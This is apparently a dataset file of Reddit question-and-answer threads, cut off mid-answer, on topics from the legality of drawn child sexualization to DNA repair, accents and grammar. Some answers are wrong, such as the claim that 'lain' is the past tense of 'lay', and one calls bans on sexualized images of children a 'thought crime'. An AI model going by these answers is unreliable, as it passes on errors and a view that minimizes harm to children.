{"q_id": "63yv0r", "title": "if the fictional depiction of child sexualization is illegal in the case of lolicon and shotacon. then why isn't the depiction of other heavy crimes such as rape and murder illegal in the form of drawings, animations and video games too?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/63yv0r/eli5_if_the_fictional_depiction_of_child/", "answers": {"a_id": ["dfy2w6z", "dfy4uc5", "dfy5nm1", "dfy6esx", "dfy747s", "dfy8zsb", "dfya5zb", "dfyaymv", "dfyih9y", "dfykp27", "dfyll5y", "dfyloat", "dfym26f", "dfymjnl", "dfyn30u", "dfyn6en"], "score": [45, 2, 82, 5, 296, 53, 7, 10, 2, 5, 9, 4, 8, 3, 12, 2], "text": ["Each culture decides where they want to draw the line of free/prohibited speech. In Muslim cultures you can't depict Mohammed in Russia you can't draw a gay clown Putin. I personally feel that the sexualization of children is a pretty damn good place to draw the line. ", "In terms of pornography, CP is a no no as an image itself, as in the sight of it is illegal. The same does not apply to murder and a few other things you mentioned", "It depends on the country - it's not illegal in the US (_URL_1_), (_URL_0_)", "It depends on the country. As you state such drawn images aren't illegal in Japan. By contrast Germany has quite strict censorship laws on what can be depicted.", "It simply is that the possession of sexualised images of children is illegal in and of itself.  With rape and murder however it is the act that is illegal and possessing images of that act doesn't constitute a crime in and of itself (outside of being the one to take them or deliberately concealing them from the police or various other crimes like that).\n\nThere are certain concessions made for non-photographic work imported from outside the country for non-mainstream entertainment (manga, anime, visual novels, etc.) but for most of these they'll adjust the ages of characters up to 18 where possible in translated versions or downplay the sexualisation through careful editing.", "Laws are sometimes based on emotion and not actual logic because laws are made by people.  Many people including law makers believe if sexualized images of children were freely legal, it would promote more danger to the welfare of children.  This idea is as antiquated as prohibition laws in the US for alcohol. What it amounts to logically is a thought crime. This does not somehow apply to murder and gore. \n\nThe same idea of laws based on emotion go for hate crimes. The idea is that for some reason already heinous crimes are \"more\" illegal now because the intent was based on hate. The idea of making possession of pornographic imagery illegal is akin to the war on drugs or making prostitution illegal. What we are doing is not attacking the root of the problem which is the heart and mind. \n\nBack to the CP problem and why it is a thought crime.  If I view sexual imagery of children, the thought is I have the \"potential\" to harm children or promote the harming of children. So I must be jailed for the \"potential\" and not for the crime of raping children. \n\nLet's use that logic for something else such as murder, which we should inherently think is very bad. In a world of complete command and control, we would make any imagery of killing illegal including video games because it has the \"potential\" of spreading violence and murder. \n\nPlease try and convince me otherwise in a logical manner, or just let the flaming and down votes commence. \n\n", "There's a reason there are no child NPC's in games like GTA  &  Saint's Row, or the minor NPC's in the Fallout  &  Elder Scrolls games are normally unkillable. \n\nIf it were possible out of the box, the games would probably be outright banned in most countries, rather than just getting an adults-only / 18+ age rating", "In the context you're giving, lolicon and shotacon are \"complexes\" in that individuals enjoy the depictions. The nature of the work is meant to promote the sexualization as a positive thing.\n\nWith rape or extreme violence, the intent is rarely to promote the act itself as a positive thing. Even in works that seemingly show off extreme violence or sexuality as a spectacle, the aim of the creator is often to elicit a reaction because of the presentation of extremes so casually.\n\nWhile there exist individuals that do enjoy rape and violence for the acts themselves, they are almost never the target demographics for modern works. Rape and violence are more like tools that have niche communities that pervert them.\n\nLoli and shota on the other hand are niche communities themselves that promote and enjoy what fans of the larger community of anime fans could consider a perversion of the tools of young, cute characters.", "Because laws reflect the cultural attitudes of the legislative body. Laws are not necessarily logical. \n\nIt's the same reason that alcohol and drug laws are constantly changing.", "I have read and also heard from my roommate who is a psychologist that allowing pedophiles to engage their fantasy whether that be through actually or simulated child porn serves as positive feedback for their pedophilia and increases their likelihood of searching for actual child porn or committing acts of abuse. I understand that my sources are pretty anecdotal so take this with a fairly large grain of salt, but the logic makes sense and (if valid) serves as a fairly convincing (in my opinion) rationale for disallowing any depictions of sexualized children. \n\n\n\n\nToo me it seems similar to the ask-a-rapist thread which psychologists argued would actually inspire the contributors to commit further acts of sexual violence.  ", "It seems no one is answering the heart of this question which is \"Why is it ok for violent acts but not this?\"\n\nI believe it has to do with the majority of individuals not having an innate attraction to adolescents. The concern is that with exposure to sexualized images of children people will begin to sexualize adolescents when they otherwise would not and therefore lead to more instances of sexual abuse in real life. \n\nIn regards to violence on the other hand, while it is not accepted it is understood to be part of our natural mental makeup. Showing images in regards to violence in essence isn't going to instill any feelings that weren't seen to be naturally there in the first place. Now whether it manages to incite more violence or not is another debate. ", "A depiction of child sexualization is a child sexualisation.\n\nA depiction of rape is not a rape.", "Wrote this a reply deep in one of these threads; \n\n > That isn't how paedophilia or sexual \"fetishes\" work. \n\nThe reason  paedophilia is grouped in with fetishes is because there's minimal evidence that it's vaguely related to sexual orientation. \n\nGeneral consensus on fetishes is that they occur as a byproduct of stimulus relations. Basically, you jerk off to X, there's a relationship between X and sexual gratification, and that relationship is progressively reinforced each time you return to X. Sometimes the foundations of this relationship can be laid at an early age, for example, victims of childhood sexual abuse are more likely to exhibit later sexual behaviours related to that abuse. \n\nSo by providing cartoon paedophilia, you're essentially providing budding paedophiles with stimuli which will reinforce their proclivities. \n\nThis leads on to a key principle of stimulus relations and of psychology in general; habituation. Repeated exposure to a stimulus reduces responses to said stimulus. This is particularly true for sexual deviancies due to the taboo factor, which will decrease as a particular fetish is normalised with exposure. So people seek out more potent forms of whatever their poison is, just like an addict. So paedophiles will progressively become desensitized and habituated to animated paedophilia, and will go elsewhere for their kicks. ", "I've seen a few comments suggesting drawings as an 'outlet' for paedophiles, so they don't molest children.\n\nThis is false. Fantasising/ looking at images 'rewards' the urges (dopamine release reinforces the behavioural/ cognitive response to the stimulus). \n\nThere is very little support in research for any sort of 'catharsis' effect (e.g. Aggression).", "IANAL but I do mod a site that has to deal with this. The laws are rather iffy. In Canada and Great Britain (but i don't know if that includes the whole UK) it IS illegal to own/view such images (and if nothing else they can be the basis to search your computer or belongings for more 'solidly' illegal material). In the US it is mostly not illegal as long as it is fictional and not realistic. The site i mod for is hosted in the US and for years we instantly removed anything that depicted the characters as children, or explicitly called them younger than 14 (but also based on art style to exclude the 1000 year old 6 year old bullshit). \n\n\nWe have since allowed the loli/shota/cub stuff but only quarantined behind a secondary filter in a community you have to sub to to see, same for bestiality themed content: you only see it if you really really opt to and if it's anywhere else we burn it with fire.\n\n\nThe reason for the change was that it was figured to be far enough away from the crime. A picture of murder is not a murder - the crime is killing, not seeing it - a picture of a naked child is a naked child - the crime is 'sexually viewing' a child - but a picture of a fake naked child is not a naked child. It is blurry as all fuck. However, and this is where the admin talked a bit to a lawyer but i don't have the conversation anymore, there is a weird legal bit where the more realistic it is the more blurred the line becomes; shota-cub is pretty far from a real kid being harmed but editing a picture of a 12 year old to make them seem sexual is pretty close to a kid being harmed. The same rule weirdly enough goes for bestiality themed drawings and animations; the closer it looks to being real the closer it is to the crime itself. \n\n\nThe main reason is that children are \"Our Children\" and being soft on any issue like that is political suicide; so where other things can still be called art as soon as kids are involved the art claim gets overruled by the \"My Kid\" claim.", "Another interesting question why it isn't necessarily forbidden in literature. [Les Chants de Maldoror](_URL_0_) by [Lautr\u00e9amont](_URL_1_) (who is considered the (grand)father of surrealism) contains (among a lot of other atrocities) a detailed depiction of a little girl being murdered by sticking a knife into her vagina. It is widely available in book form and on the web (although a quick search revealed the french original only). Could I write a book like this these days without being arrested?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://abcnews.go.com/WNT/story?id=130391&amp;page=1", "https://en.m.wikipedia.org/wiki/Ashcroft_v._Free_Speech_Coalition"], [], [], [], [], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Les_Chants_de_Maldoror", "https://en.wikipedia.org/wiki/Comte_de_Lautr%C3%A9amont"]]}
{"q_id": "3s5y9t", "title": "why don't customer service reps in call centers from india and other countries speak perfect english even though they spend a big part of their day conversating with native english speakers?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3s5y9t/eli5_why_dont_customer_service_reps_in_call/", "answers": {"a_id": ["cwucm89", "cwuft6k", "cwuhmmw", "cwuimjk", "cwujrc1", "cwuk5sq", "cwukhfw"], "score": [14, 19, 4, 5, 10, 5, 2], "text": ["accents are usually influenced by hearing others speak the language when you are learning it or growing up.  that's why people in a certain area, all seem to have certain accents.  \n\nIndian people when learning English, aren't learning it from perfect English speakers, they are learning it most likely from heavily accented speakers, so they pick up on these accents.  \n\nonce you've developed an accents, it's hard as hell to change.  ", "I laughed when you used \"conversating\" instead of \"conversing\".  Are you a native English speaker?", "I speak English daily but I still have a massive accent. I know how words should sound but I just can't pronounce that way. It's probably because in the first 15 years of my life I haven't really spoken English.", "Say you call Sprint's call center and get \"Steve\" - who speaks strongly-accented English with quite a few mistakes.  Over the next several months, Steve works hard at improving his grammar, vocabulary, and pronunciation to the point where, although his accent is detectable, native English speakers find it perfectly pleasant and easy to communicate him.\n\nAt this point, why would Steve stay with a company as terrible as Sprint?  He's dramatically increased his worth as a call center rep and gets a job with a much better operation.  Now when you get Steve on the phone at his new job, it never occurs to you to think about where his call center is located.", "English is a first language for many people in India actually. When you say \"perfect English\" you mean with an American accent. That's not the perfect way to speak. They speak English with an Indian accent, some are native speakers. ", "For the same reason Australian, American, Canadian and British people doesn't sound the same, they simply have a different dialect.", "A VERY simplistic explanation to how we (babies) acquire language.\n(TL;DR because they didn't start learning as a baby)\n\n\n-When babies are first born we are in a \"Universal Babble Phase\" that last 0-6 months.  During this phase we can hear all the sounds, not just ones related to our \"mother tongue\" \n\n-Starting at 6 months (lasting until about 1-1.5 years) we start losing the ability to hear all sounds unless we are exposed to them.  This is actually the scientific basis to parents speaking \"baby\" to infants - we can show it highlights certain phonemes (or sounds) important to our language.  \n\nAfter 2 years we are \"locked\" in the language part of our brain.  If you learn another language after this point no matter how fluent and how much you practice it you will use a different region of your brain to process this \"new\" language.  There is not a known limit to how many languages can be imprinted in the first 2 years.  (research is mostly done on 1-2 language speaking families)\n\nIt's after this first 2 year period that we lose the ability to hear and speak certain sounds.  It's why Asian language speakers tend to have issues with \"L\" and \"R\" sounds - those tones don't exist in many asian languages.  They physically can not hear nor create that sound.  \n\nFor this same reason non-tonal language speakers have issues with tonal languages.  \n\nSo, unless the person on the other end started learning the language as in infant they will always be a non-native speakers.  Therapy and whatnot can help to reduce accents, but the actually underlying neurological reasons behind them will always exist.  \n\n\nMost of the research comes from English and Swedish speaking families.  There are tones in English that don't exist in Swedish (and vice versa).  When babies are subject to new stimuli they turn their heads.  When not they won't.  (simplified).  This is how they were able to test when babies were losing the ability to hear sounds not native to their mother tongue."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "832fan", "title": "Difference between the three main factions of the Mexican Revolution?", "selftext": "I'm learning about the Mexican revolution and I'm a bit confused on what the Constitutionalists, Zapata, and Villa stood for. What did each group seek to reform and how did they plan to achieve it? Why didn't they work together?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/832fan/difference_between_the_three_main_factions_of_the/", "answers": {"a_id": ["dvg24v3"], "score": [2], "text": ["The trick is to not think of the Mexican Revolution as a coordinated revolution, but rather a civil war. \n\nThe Zapatistas, Constitutionalists, and the Villistas (Division del Norte) all had different constitutencies, different goals, and different strategies.\n\nThe Constitutionalists focused on the issue of political reform through a new constitution. Madero and later Carranza saw political reform as the mechanism to achieve broader social and economic change. They supported armed revolution to depose the Porfirio Diaz and then Huerta. But after that they believed that constitutional reform would suffice.\n\nZapata did not necessarily believe that simple constitutional reform would suffice. He supported the Constitutionalists to bring down Diaz and Huerta, but his faction wanted greater structural and institutional change in the constitutional discussions. They would split from the uneasy alliance during the constitutional convention that would eventually produce the Constitution of 1917.\n\nVilla represented an interesting figure. Villa was very much a populist who did not have as clear or consistent vision of a post revolutionary state. He tended towards opportunism in forging his political alliances. \n\nThe take away should be that the underlying problems of Mexico ca. 1910 were severe and there were many different views about how to enact social, political, and economic reform. Between 1910-1914, a coalition defeated the long time dictator Diaz and his erstwhile successor Huerta, but that alliance could not hold because they did not agree on a vision for a post revolutionary Mexico. \n\nIn the end, the major post-revolutionary party PRM/PRI grew out of this uncertaintly by building a broad coalition that included agrarian interests (the Zapatistas' base), business interests (the constitutionalists base), and laborers. \n\nThe big success of the PRI was to begin to create a national memory of a 'revolutionary family' in which Zapata, Villa, Madero, Carranza, etc. could all be heroes of the nation even when they spent most of their time fighting each other. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "17cda9", "title": "Does Human DNA contain any type of error-correcting code or employ something like CRC?  If so, what type of error-correcting is formed? ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/17cda9/does_human_dna_contain_any_type_of/", "answers": {"a_id": ["c846nd4", "c846wvn", "c846y13", "c848exo", "c849xru", "c84b0xs", "c84c4eh", "c84d2nw", "c84dbk1", "c84ehu3", "c84fip5"], "score": [172, 7, 5, 15, 124, 6, 3, 2, 2, 2, 2], "text": ["I don't know anything about CRC, but DNA does have [repair mechanisms](_URL_1_).  These include [base excision repair](_URL_0_), [nucleotide excision repair](_URL_2_), and [mismatch repair](_URL_3_).  Defects in these mechanisms often result in susceptibility to cancer.  Repair mechanisms are mediated by a number of proteins, perhaps most notably [DNA polymerase](_URL_4_).", "Well, yeah.  It's complementary.  As arumbar points out, there's a lot of different repair mechanisms.  Damaged bits can be recreated from the other strand.  The big exception being double strand breaks, which can be very, very bad.  But in humans, there's another chromosome that can hopefully take over for these sorts of problems.\n\nThere's a sort of failsafe built into DNA that isn't based on the enzymatic repair mechanisms.  The introduction of a [frameshift mutation](_URL_0_), where one base is added or deleted, will typically result in an early stop codon somewhere in the code of that particular gene.  While this is not an error-correction mechanism, it will prevent that gene from being translated into what will usually be garbage protein sequences.  Hopefully the null mutation of that gene is not lethal or entirely debilitating for the person in question.\n\nThere is no CRC-like mechanism in DNA.  And besides, that would be pretty awful for life in general, since the more stringent error correction is, the less likely any evolution can take place.\n", "I'm not an expert in either ECC/CRC or DNA mismatch repair, but all DNA is a double-helix (so 2x redundancy is inherent), and most cells are diploid, meaning that most cells have 4 copies of the same information. This redundancy is enough to resolve most errors without having to embed any special error-correcting information into the code itself (like a checksum).\n\nOf course, it would actually be a disadvantage to evolve an *error-free* DNA code, because then the code would become fixed and evolution would stop.", "DNA does not have, at least as far as anyone has ever demonstrated that I've seen (other than maybe [this guy](_URL_0_)), any sort of checksum mechanism (that is, where base 10 in a sequence is used to verify the content of bases 1-9). The replication machinery is quite agnostic about the sequence that it is replicating. As long as it can't find any abnormalities, and the mechanical properties of the DNA don't prevent it, it will copy out any sequence with equal fidelity.\n\nThere's some arguments about whether the mutation rate (about 10^-10 substitutions per site per replication) is \"tuned\" - that is, too great a degree of fidelity results in an organism with insufficient variation in its genome, leading to collapse and extinction.\n\nI'm not sure I buy that argument - it's pretty hard to select for future events, and mutations are overwhelmingly damaging. In this case I think the fact that we don't see any CRC-like mechanisms in DNA is probably due to the fact that it is a fairly major revision of the structure of DNA. There is no room for it in coding sequences; there would be no way for a lifeform to modify its existing genome to conform to this pattern. It's just too damn hard to evolve something like this, in other words.\n\nWhich is not to say that it couldn't be a useful concept in synthetic biology, where mutation is something you would absolutely want to avoid...", "So, please allow me to elaborate a bit on DNA repair. Your cells have roughly 3 billion base paired nucleotides each (A nucleotide is what you generally think of as a DNA letter, i.e. A,T,G or C) . These are paired up into double helix strands. Every time your cell divides, it has to copy all of that data. However, enzymes aren't perfect. The enzymes that copy your genes make mistakes at a rate of about 1/100,000. With as much data as that is, it comes out to about 120,000 per cell division. We wouldn't make it very far without error correction. Additionally, exposure to chemicals, the sun, and even viruses can add more mistakes into your DNA. \n\nThere are a number of ways to repair mistakes, and first line of defense is with the copying enzymes. As they copy your DNA, they take one strand, and move along it as new \"loose\" nucleotides come in. If they match as a pair (A:T, or G:C) they get added. These enzymes also have a proofreading functionality that literally (and this is neat) detects the **shape** of the pair. If the bases are paired incorrectly, it spits out the nucleotide and tries again. If it DOES put the wrong one in, it has a second proofreading functionality that can literally cut them out. If THAT fails and a mismatch actually gets through, there's a third failsafe. There are a set of enzymes whose job it is to scan through newly synthesized DNA to look for errors. \n\n\nLet's say for the sake of argument that a mistake sneaks through, these enzymes go zooming down your DNA looking for mismatches. When one is found, they go to work taking out the bad base and putting in the right one. Here's the question though, if you have two strands of DNA, how do you know which one is right and which one is wrong? And that's even sneakier. Your DNA as it is synthesized is missing a marker used for both epigenetics and, you guessed it, repair. You can think of methylation as a set of flags all down your DNA. The old strand has the flags, the new one is nekkid. When the repair enzymes find a mismatch, they'll keep the old base and replace the new one, which is the misincorporated base. \n\n\n So, say you get too much sun, or too many chemicals in you, and you end up with two strands of DNA that's all matched up, but one base is messed up chemically. This introduces a bump, or \"lesion\" in the strand that gets detected by DNA maintenance enzymes. Now because these processes require a lot of enzymes, i'm going to just give a general overview. \n\nIf the lesion isn't bad, sometimes base excision repair will be enough. The maintenance enzymes literally cut out just a couple pairs around the mismatch, and replace it. No prob. How many get cut out for each repair, and how that gets decided, we still don't know. If for whatever reason, the lesion gets overlooked and your cell tries to copy itself, or if the lesion is something that links the two strands together physically, there's one last line of defense. Blind guessing. \n\nYep, that's right. If you have DNA damage so bad that it can't be repaired or cut out, the last thing your cell can do is wait for the copying process to start, and then try to \"skip\" the lesion. And yes, this will introduce a mutation a lot of the time, but it's better than having all DNA usage stop. The polymerase enzymes that do this are highly specialized specifically to have low fidelity. They don't care how many mistakes they make because it's their *job* to take a wild guess when everything else has failed. This is called translesion synthesis in case you were wondering. \n\nSources: \nPretty much everything here can be found in Molecular Biology of the Cell, a standard mol bio textbook. I can pull individual references if anyone wants them. The book is available publicly from the ncbi here\n_URL_1_\nIf anyone wants a user friendly walkthrough on DNA replication and mutation \n_URL_0_\n\ntl:dr Yes, there are multiple ways your cells can detect and repair damage caused either naturally through cellular copying, or through exposure to external damaging agents like sun and chemicals. ", "I didn't see any mention of redundant codons in this post so I figured that I would mention them.\n\n3 bases make up a codon. Depending on the sequence of the bases, they can code for amino acids, starts and stops. Because there are 20 amino acids, the start codon is the codon which codes for methionine, and in general, there are 3 stop codons.\nThis means that there are 4^3 or 64 possible codons and around 23 things to code for. This means that some errors in the bases don't do anything. In addition, certain amino acids can be substituted for others in proteins.\n\nTL;DR- individual changes to DNA frequently don't cause changes in cellular function.", "In addition to what other people have been saying, you also have exons and introns in your DNA/RNA. Some of the nucleotides will be part of the introns and some will be part of the exons. During RNA processing, the introns will be cut out completely, and only the exons will move on to the next stage of protein production. Therefore, if a point mutation occurs in an intron, it won't matter because the introns don't code for the protein anyway. And since a lot of genes have longer introns than exons, this gives a very high chance that any individual point mutation won't affect the protein.", "As other people have answered, yes, DNA does contain some error correcting, but I want to point out here that some viruses employ something really really cool. DNA is written in base pairs - the ACGT that you're familiar with, however what matters are the codons that the base pairs form. A codon is 3 pairs, for example ACG or TGA or CGG. This is very analogous to bits:bytes||base pairs:codons. So viruses don't have a lot of space or resources for anything, so the more efficient their DNA the better. So some viruses will encode one set of instructions, and then another set by an offset or one or two. For example, take the sequence -- ACT GCA AAG CGA GTG -. If you shift this by one you get the codons --A CTG CAA AGC GAG TG-. The fact that this happens is the closest thing I could fathom that could be called 'intelligent design' - it's just so impossible to imagine having to code for one protein, and then be able to offset the code for that protein into a second protein.\n\n[Here's one source](_URL_0_)", "There is a lot of redundancy in the DNA. People have 2 copies of their DNA (one from mum the other from dad) that code for all the useful genes. Each strand of DNA is a reverse complement of the other. The codons, stretch of 3 nucleotides, determine the amino acids, but a single base change often has no effect at the third position and in the other 2 positions, it usually causes a change to an amino acid of similar properties. On top of all this are several layers of enzymatic error correction and detection. Finally the cells are redundant, so if you have one cell screw up its DNA copies, there is programmed cell death which causes it to self destruct. When all this fails you may get cancer.", "**Yes many. but none of them is perfect**, because perfect maintenance is not cost efficient.\n\nThe best defense mechanism seems to be redundancy. There is an incredible ammount of redundancy in any DNA. Sexually reproducing life has almost everything at least twice per cell to begin with. Multicellular life has multiple copies of everything, generally some are specialized in just a few tasks.\n\nFor multicellular life the **main task is not producing the right thing, but producing the right ammount** of anything. If a few cells got it a little wrong others can compensate. The tricky part about DNA is **not what to encode, but how much to encode at what times at what places**. And these parameters do not have to be as accurate to work. It is just more efficient if their regulation is optimized.\n\nThe translation process itself (that translates base tripplets like \"-T-A-G-\" into one amino acid of a chain of amino acids to manipulate matter) itself is VERY error resistant in regards to the most common physical/chemical reading errors. The way it translates 64 possible (chemically encoded) intupts into 21 different outputs is sorted and has efficient redundancy to where it is chemically most simmilar. _URL_0_ shiows that the second base makes the biggest difference (seperating main categories of Amiono acids) while the 3rd base barely ever makes much of a difference (resulting in the very same amino acid most times). And even if the amino acid chain is a little different, it might still work a bit just like the original, sometimes even better.\n\nThere are very common mutations that ocur more often than others, like an xxxAAxxx sequence accidentally beind read/copied as if its an xxxAxxx sequence, just because ultraviolet light has \"melted\" 2 As together temporarily wich can easily be missread as a single A resulting into complete random nonsense being read afterwards.\n\nMost organisms have enzymes that fix such most common physical/chemical reading errors.\n\nSome extreme single celled life even has the ability to reconstruct their genetic code if it has been cut into a few thousand pieces by strong radiation or extreme pressure changes.", "I think most biologists will tell you a physical solution such as repair or mismatch mechanisms. But I assume you are asking for a system solution in error correcting. \n\nThere are a couple of papers that tried to search for error correcting codes in the DNA. Here is a paper in PLOS One:\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Base_excision_repair", "http://en.wikipedia.org/wiki/DNA_repair#DNA_repair_mechanisms", "http://en.wikipedia.org/wiki/Nucleotide_excision_repair", "http://en.wikipedia.org/wiki/Mismatch_repair", "http://en.wikipedia.org/wiki/Dna_polymerase"], ["http://en.wikipedia.org/wiki/Frameshift_mutation"], [], ["http://creationwiki.org/Jean-claude_Perez"], ["http://www.nature.com/scitable/topicpage/dna-replication-and-causes-of-mutation-409", "http://www.ncbi.nlm.nih.gov/books/NBK26850/"], [], [], ["http://www.bioinfo.org.cn/book/biochemistry/chapt26/sim2.htm"], [], ["http://en.wikipedia.org/wiki/DNA_codon_table"], ["http://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0036644"]]}
{"q_id": "69bv1t", "title": "What is wrong with Jared Diamond's Collapse?", "selftext": "I'm couple hundred pages into the book and am really enjoying it however I just discovered he isn't the most loved writer. Is it worth it continuing the book?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/69bv1t/what_is_wrong_with_jared_diamonds_collapse/", "answers": {"a_id": ["dh5lwsh", "dh5mn7i"], "score": [12, 5], "text": ["Many previous discussions of Jared Diamond are archived, so you can't vote or add followup questions there.  The mods don't want to discourage more questions and discussion, so by all means add it here if anything occurs to you.\n\nOne previous discussion here is [How historically accurate is Jared Diamonds 'Collapse' and what do historians think of it?](_URL_3_).  But I wish there were more details, and a lot is about Diamond's approach in general rather than *Collapse* specifically.\n\n/u/Smellslikesnow pointed to Wade Davis' take, at _URL_2_ .  \"As Davis' article argues, Diamond's understanding of the world is based in the colonial anthropology of the 19th century: Diamond's popular oeuvre perpetuates anachronistic ideals and beliefs. Diamond's an engaging, entertaining writer, no doubt. He's not an original thinker, unfortunately. He's conventional, quaint, and, frequently, quite backwards; sometimes dangerously so.\"  But the article is about Diamond himself, and mostly about *Guns, Germs, and Steel* and *The World Until Yesterday*, with only one paragraph even mentioning *Collapse*.\n\n/u/terminuspostquem, [here](_URL_1_), has pointers to reviews, and pointers to arrays of reviews.  Again, though, most appear to be about Diamond's works in general.\n\nThere's an FAQ section [Historians' views of Jared Diamond's \"Guns, Germs, and Steel\"](_URL_0_): same song.\n", "There's been a very active and many-sided debate over pretty much every aspect of Diamond's account of Easter Island and the Rapa Nui, which you can get a basic run-down of [here](_URL_0_). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/historians_views#wiki_historians.27_views_of_jared_diamond.27s_.22guns.2C_germs.2C_and_steel.22", "https://www.reddit.com/r/AskHistorians/comments/1mg54a/how_historically_accurate_is_jared_diamonds/cc9u4t5/", "http://www.theguardian.com/books/2013/jan/09/history-society", "https://www.reddit.com/r/AskHistorians/comments/1mg54a/how_historically_accurate_is_jared_diamonds/"], ["https://medium.com/realkm-magazine/collapse-of-the-easter-island-ecocide-theory-to-what-extent-does-opinion-influence-research-a87fc2ed2b96"]]}
{"q_id": "3vwcec", "title": "how does the tennis racket theorem work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3vwcec/eli5_how_does_the_tennis_racket_theorem_work/", "answers": {"a_id": ["cxrfiux"], "score": [2], "text": ["Objects take a force to get into motion; the amount of force needed to get up to a certain speed is different for different objects. A railway car needs more force to speed up than a small toy car.\n\nThe same works for rotation: getting a big wheel to turn is more difficult than a smaller wheel. They have a different [moment of inertia](_URL_0_).\n\nThe moment of inertial doesn't only depend on the weight of the object, but also on the shape. A solid ball is easier to turn than a big ring of the same weight. But there's something else at play here: the direction of rotation matters. Rotating a long rod along its long axis is easier than swinging it around. The moment of inertia along its long axis is smaller than the moment of inertia along the other axes.\n\nNow we get to [tennis rackets](_URL_1_).\nA tennis racket has a different moment of inertia for each axis. The stability of a rotating body along an axis depends on the *difference* of the moments of inertia. This can be seen from the Euler equations and some sloppy math, which I won't go into. The result *is* interesting:\n\n\u03c91\" = (I2 - I3)(I1 - I2)(\u03c92)^2 / (I1 * I3) \u03c91\n\nHere I1, I2 and I3 are the moment of inertia along different axes.   \n\u03c91, \u03c92 and \u03c93 is the angular speed along different axes (i.e. how fast it rotates).  \nThe ' denotes how fast something changes, so \" is the change in change. For example, position\" would be the change in change in position, or change in speed, or acceleration.\n\nSay I1 is larger than I2, and I2 larger than I3, this is true for most (all?) rackets. This means I2 - I3 and I1 - I2 are positive. \u03c92^2 is positive, as squares always are. I1 * I3 is positive, as moments of inertia are never negative: that would mean things don't resist you trying to rotate it, but actively help. Putting in all these positive things in the equation results in this:\n\n\u03c91\" = something positive * \u03c91\n\nThis means that if the racket rotates along axis \u03c91 at all, it will actually start rotating faster and faster. So when you try to flip the racket, it will almost always start to rotate about this axis. Sounds like free energy? Well, it's not: the 'sloppy' bit in the math makes it only work as long as rotation along this axis is limited. As soon as rotation starts it becomes more difficult to predict the behaviour, and the strange 'flip' occurs. During the flip some energy is 'stolen' from the other axes of rotation, making it all work out.\n\nNote: I think there might be an error/unclarity in wikipedia's math, from which I took the result. Something with labeling axes of rotation/inertia differently. I can't be bothered to check it all, and the result doesn't really change much :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Moment_of_inertia", "https://en.wikipedia.org/wiki/Tennis_racket_theorem"]]}
{"q_id": "y1mle", "title": "the proper usage of further/farther and lay/lie please?", "selftext": "I'm an American and these things baffle me, I've been asked to explain it to some family members that aren't native speakers and I always feel like an idiot.\n\nThanks in advance.\n\n**Edit** Thank you for the concise explaining I appreciate it.  Marked as answered.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/y1mle/eli5_the_proper_usage_of_furtherfarther_and/", "answers": {"a_id": ["c5ri759", "c5roncb"], "score": [13, 3], "text": ["**Far***ther* is about distance.\n\n*Lie* is something you do to yourself, you lie (yourself) down. \n\n*Lay* is something you do to something else. you lay it down.\n \n**Difficulty:** The past tense of  verb *lie* is **LAY**, while the past tense of the verb *lay* is **Lain**. Amateur word nazis do not know this and wrongly attack anyone that correctly uses **Lay** as in past tense.    ", "Farther is generally used literally (the house is farther away than I'd expected) whereas further is generally used metaphorically/symbolically (the more she talked, the further she drove me into a rage)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "74lspn", "title": "the origins of the bank of england (1694)", "selftext": "I've been trying to wrap my head around it. The Government of England needed cash. From what I understand, a group of wealthy English individuals agreed to loan the English Government 1.2 million pounds sterling. In exchange, the government allowed the group of wealthy English lenders to incorporate as the \"Bank of England\" and... do what, exactly? That's where I lose it.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/74lspn/eli5_the_origins_of_the_bank_of_england_1694/", "answers": {"a_id": ["dnzi447"], "score": [2], "text": ["Banks are money making machines.  They borrow money from the general public at 3% and then lend it out to the general public at 6% (obviously the rates vary, but there is always few point spread).  While they do have expenses (payroll, building, etc) they will make 2-4% of all of the money that they hold as deposits.  Banks also allow the owners/managers of the bank to exert control of society because they control who can get loans."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "fyl10x", "title": "why do multi-billion dollar companies reach their limit within days of a lockdown to a point where government needs to bail them out? do they not save money for rainy days ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fyl10x/eli5_why_do_multibillion_dollar_companies_reach/", "answers": {"a_id": ["fn0iwxx", "fn0kcra", "fn0lvzg", "fn0qxj7", "fn0r153", "fn0t02y", "fn0t58d", "fn0uc42", "fn0yir3", "fn105bt", "fn14lpu"], "score": [25, 11, 9, 3, 2, 8, 2, 2, 3, 2, 2], "text": ["in business sense, money \"saved\" in the bank account is stale money that isn't making profit.    businesses aim to have a streamlined financial situation.  moreover, the owners and investors PUSH public companies not to have stale money.  investors want the company to get more profit, not sit on a million in cash in the bank.", "Companies don't save money.  Their costs can be calculated, so if there's extra profit and extra money available, they buy machinery or hire more people in order to grow.  During \"rainy days\" they fire people and close down factories and shrink.\n\nProblem is that disasters close them down to the point where they can't operate anymore; once all the workers are laid off, it's like stopping someone's heart \"for just a few minutes\" - it actually kills them.", "I think the problem is that our economy is built on the assumption that continuous growth is good. So there's more motivation to 